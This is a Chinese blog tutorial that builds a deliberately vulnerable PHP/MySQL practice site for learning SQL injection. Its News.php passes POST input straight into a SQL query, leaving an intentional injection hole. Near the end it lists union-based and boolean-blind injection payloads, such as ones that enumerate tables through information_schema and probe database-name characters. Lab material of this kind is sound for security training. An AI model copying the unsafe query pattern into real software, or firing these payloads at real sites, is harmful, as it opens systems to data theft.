PHP开发漏洞环境(SQL注入)
持续更新中…
文章中代码资源已上传资源,如需要打包好的请点击PHP+MYSQL 注入靶场源码
实现功能:
1、前端文章导航
2、点入内容显示
3、更改传参值显示不同内容
实现步骤:
1、前端页面显示编写 HTML&CSS
2、数据库文章数据导入 - MySQL操作
3、PHP操作MySQL编写 - PHP变量提交
开发环境:PHP5.3 + Apache + MySQL
以下源码都可以使用 phpStudy 搭建
生成前端代码
简单的写一下前端
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>渗透测试小白的靶场</title>
<link rel="stylesheet" type="text/css" href="styles.css"> <!-- 加载自定义CSS文件 -->
<style>
/* 自定义内联CSS样式 */ body {
font-family: Arial, sans-serif;
background-color: #f1f1f1;
margin: 0;
padding: 0;
}
header {
background-color: #333;
padding: 20px;
color: #fff;
text-align: center;
}
nav {
background-color: #555;
color: #fff;
text-align: center;
padding: 10px;
}
nav ul {
list-style-type: none;
margin: 0;
padding: 0;
}
nav ul li {
display: inline-block;
margin-right: 10px;
}
nav ul li a {
color: #fff;
text-decoration: none;
padding: 5px;
}
section {
padding: 20px;
text-align: center;
color: #333;
}
footer {
background-color: #555;
color: #fff;
text-align: center;
padding: 10px;
}
</style>
</head>
<body>
<header>
<h1>渗透测试小白的安全测试网站</h1>
</header>
<nav>
<ul> <li><a href="index.php">首页</a></li> <!-- 链接index.php -->
<li><a href="neirong/News.php">内容</a></li> <!-- 链接News.php -->
<li><a href="https://blog.csdn.net/weixin_44971640">安全相关学习笔记</a></li> <!-- 插入学习链接 -->
</ul>
</nav>
<section>
<h2><a href="https://blog.csdn.net/weixin_44971640">安全测试</a> <!-- 插入学习链接 --></h2>
<p><a href="https://blog.csdn.net/weixin_44971640">此网站可能存在一些安全问题</a> <!-- 插入学习链接 --></p>
</section>
<footer>
© 2024 Cool Website
</footer>
</body>
</html>
看看效果
生成后端代码
先写一个配置文件,连接本地数据库(conn.php)
<?php
$conn = mysqli_connect("127.0.0.1","root","root","boke_mysql");
if(!$conn){
echo "数据库连接失败";
}else{
echo "数据库连接成功";
}
?>
内容(News.php)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>渗透测试小白的靶场</title>
<link rel="stylesheet" type="text/css" href="../styles.css"> <!-- 加载自定义CSS文件 -->
<style>
/* 自定义内联CSS样式 */ body {
font-family: Arial, sans-serif;
background-color: #f1f1f1;
margin: 0;
padding: 0;
}
header {
background-color: #333;
padding: 20px;
color: #fff;
text-align: center;
}
nav {
background-color: #555;
color: #fff;
text-align: center;
padding: 10px;
}
nav ul {
list-style-type: none;
margin: 0;
padding: 0;
}
nav ul li {
display: inline-block;
margin-right: 10px;
}
nav ul li a {
color: #fff;
text-decoration: none;
padding: 5px;
}
section {
padding: 20px;
text-align: center;
color: #333;
}
footer {
background-color: #555;
color: #fff;
text-align: center;
padding: 10px;
}
</style>
</head>
<body>
<header>
<h1>渗透测试小白的安全测试网站</h1>
</header>
<nav>
<ul> <li><a href="../index.php">首页</a></li> <!-- 链接index.php -->
<li><a href="News.php">内容</a></li> <!-- 链接News.php -->
<li><a href="https://blog.csdn.net/weixin_44971640">安全相关学习笔记</a></li> <!-- 插入学习链接 -->
</ul>
</nav>
<section>
<h2><a href="https://blog.csdn.net/weixin_44971640">安全测试</a> <!-- 插入学习链接 --></h2>
<p><a href="https://blog.csdn.net/weixin_44971640">此网站可能存在一些安全问题</a> <!-- 插入学习链接 --></p>
<div class="search">
<form method="post" action=" ">
<input type="search" name="title" id="title" placeholder="请输入搜索内容">
<button type="submit">搜索</button>
</form> </div></section>
<footer>
© 2024 Cool Website
</footer>
</body>
</html>
?>
看下效果
数据库
在数据库中创建一个表,并生成一些内容
create database boke_mysql; -- 创建boke_mysql数据库
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL,
email VARCHAR(100) NOT NULL); -- 创建users表,id,username,email 字段
CREATE TABLE posts (
id INT PRIMARY KEY AUTO_INCREMENT,
title VARCHAR(100) NOT NULL,
content TEXT,
user_id INT,
FOREIGN KEY (user_id) REFERENCES users(id)
); -- 创建posts表
-- 向 users 表插入数据
INSERT INTO users (username, email) VALUES
('test1', '[email protected]'),
('test2', '[email protected]');
-- 向 posts 表插入数据
INSERT INTO posts (title, content, user_id) VALUES
('测试内容(1)', '这是第一条测试内容', 1),
('测试内容(2)', '这是第二条测试内容', 2);
('测试内容(3)', '这是第三条测试内容', 3);
看看结果
写功能
在News.php中写一些功能,将查询结果从数据库中的表输出在内容板块
<?php
include("../config/conn.php"); // 包含数据库配置文件
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$title = $_POST["title"];
// 执行查询语句
$sql = "SELECT * FROM posts WHERE id = '$title'";
$result = mysqli_query($conn, $sql);
if ($result && mysqli_num_rows($result) > 0) {
// 循环遍历结果集
while ($row = mysqli_fetch_assoc($result)) {
// 输出每行数据
echo "<p>" . $row['id'] . "</p>";
echo "<p>" . $row['title'] . "</p>";
echo "<p>" . $row['content'] . "</p>";
}
} else {
echo "<p>" . "未查询到结果" . "</p>";
}
}
?>
调试功能
正常的来输入一个 1 试试,发现能正常返回结果
测试SQL注入漏洞
只说几个典型的例子,其他注入类型都大差不差。
字符型注入
找到关键性语句,$sql
$sql = "SELECT * FROM posts WHERE id = '$title'"; //通过变量$title进行传参
构造恶意语句,不细说了,大家有兴趣的看我以前的文章。
SELECT * FROM posts WHERE id = '1'-- '" 这就型成了闭合
1' order by 4 -- // 查字段数
1' union select 1,2,3,4 -- // 查字段数
-1' union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2,3,4 -- //查表名
布尔盲注
修改后端代码
<?php
include("../config/conn.php"); // 包含数据库配置文件
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$title = $_POST["title"];
// 执行查询语句
$sql = "SELECT * FROM posts WHERE id = '$title'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
if ($row){
echo "<p>"."内容存在"."</p>";
}else{
print_r(mysqli_error());
}
}
?>
语句构造,通过回显判断是否为真
1' and 1=1 --
1' and 1=2 --
1' and length(database())=10 --
1' and ascii(mid(database(),1,1))<100 --
1' and ascii(mid(database(),1,1))=98 --